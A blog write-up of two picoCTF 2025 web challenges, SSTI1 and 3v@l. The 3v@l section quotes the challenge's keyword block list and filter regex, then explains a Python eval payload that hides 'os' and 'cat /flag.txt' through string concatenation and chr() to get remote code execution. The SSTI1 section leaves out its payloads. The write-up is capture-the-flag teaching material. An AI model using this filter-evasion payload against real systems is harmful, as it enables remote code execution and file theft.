Post

picoCTF-2025 - SSTI1 and 3v@l

picoCTF-2025 - SSTI1 and 3v@l

SSTI1 - web

Challenge Overview

I made a cool website where you can announce whatever you want! Try it out! I heard templating is a cool and modular way to build web apps! Check out my website .


image

Hint

  • Server Side Template Injection

Enumeration

Lets visit the site.
image

We try test as an input to see the output while monitoring the requests using burp suite.
image

The input is reflected back to us on the announcement page.

Exploitation

From the hint we know that we have to exploit a server side template injection.
Did some reading and found this perfect for getting to understand the vulnerability and example exploits.

To test for ssti we use , if it prints `49` then that confirms we have `ssti`. To identify the language we can use if we get 7777777 then it confirms that we have python and we can use a python payload.
image

Now that we have python let’s grab our payload.

1

This will list the files in the current directory.
image

For this we are interested with the flag .
image

3v@l - web

Challenge Overview

ABC Bank’s website has a loan calculator to help its clients calculate the amount they pay if they take a loan from the bank. Unfortunately, they are using an eval function to calculate the loan. Bypassing this will give you Remote Code Execution (RCE). Can you exploit the bank’s calculator and read the flag?

Additional details will be available after launching your challenge instance.


image

We follow the link to get this page.
image

The program just performs basic mathematical calculations.
Here is what we get from the source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!DOCTYPE html>
<html lang="en">
<!--
    TODO
    ------------
    Secure python_flask eval execution by 
        1.blocking malcious keyword like os,eval,exec,bind,connect,python,socket,ls,cat,shell,bind
        2.Implementing regex: r'0x[0-9A-Fa-f]+|\\u[0-9A-Fa-f]{4}|%[0-9A-Fa-f]{2}|\.[A-Za-z0-9]{1,3}\b|[\\\/]|\.\.'
-->
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Welcome to ABC bank </title>
    <link rel="stylesheet" href="/static/bootstrap.min.css">
    <link rel="stylesheet" href="/static/styles.css">
</head>
<body>
    <div class="container">
        <h1 class="mb-4 text-center">Bank-Loan Calculator</h1>
        <form method="post" action="/execute">
            <div class="form-group">
                <label for="code">Enter the formula:</label>
                <textarea id="code" name="code" class="form-control" rows="10" cols="50" placeholder="example: PRT*RATE*TIME(10000*23*12)" required></textarea>
            </div>
            <button type="submit" class="btn btn-primary">Execute</button>
        </form>
        <div class="footer-link mt-4">
            <a href="/">Go back</a>
        </div>
    </div>
</body>
</html>

With that let’s understand the challenge:
The server:

  • Restrict dangerous keywords like os, exec, eval, socket, bind, etc.
  • Prevent command injections and file access (ls, cat, shell).
  • Regex Filtering, Blocking hexadecimal, Unicode, URL encoding, and directory traversal patterns.

Now that we know the flag is stored in /flag.txt, we need to bypass the security restrictions in the Flask app and extract the file contents.
Here i tried a bunch of tricks but here is the one that worked.

If this succeeds, it might reveal an os or popen class, which we can use to run commands.

Lets understand the Payload i used:
The payload:

1
__import__('o'+'s').popen(''.join(chr(x) for x in [99, 97, 116, 32, 47, 102, 108, 97, 103, 46, 116, 120, 116])).read()

This successfully bypassed security filters and executed cat /flag.txt.
Let’s break it down step by step.

1️⃣ Bypassing import os Restriction

1
__import__('o'+'s')
  • __import__('os') dynamically imports the os module.
  • Instead of “os”, we used ‘o’ + ‘s’ to evade static keyword detection.

2️⃣ Constructing the Command Without Using “cat” Directly

1
''.join(chr(x) for x in [99, 97, 116, 32, 47, 102, 108, 97, 103, 46, 116, 120, 116])
  • This dynamically reconstructs the string “cat /flag.txt” using ASCII values:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Char	ASCII Code
c    	99
a    	97
t    	116
(space)	32
/    	47
f    	102
l    	108
a    	97
g    	103
.    	46
t    	116
x    	120
t    	116
  • Instead of writing cat /flag.txt directly (which might get detected), we generate it dynamically using chr().

3️⃣ Executing the Command

1
__import__('o'+'s').popen(COMMAND).read()
  • popen(COMMAND).read() executes the command in a subprocess shell and reads the output.
  • Since we bypassed “cat” detection, the system executed cat /flag.txt successfully.

image

This post is licensed under CC BY 4.0 by the author.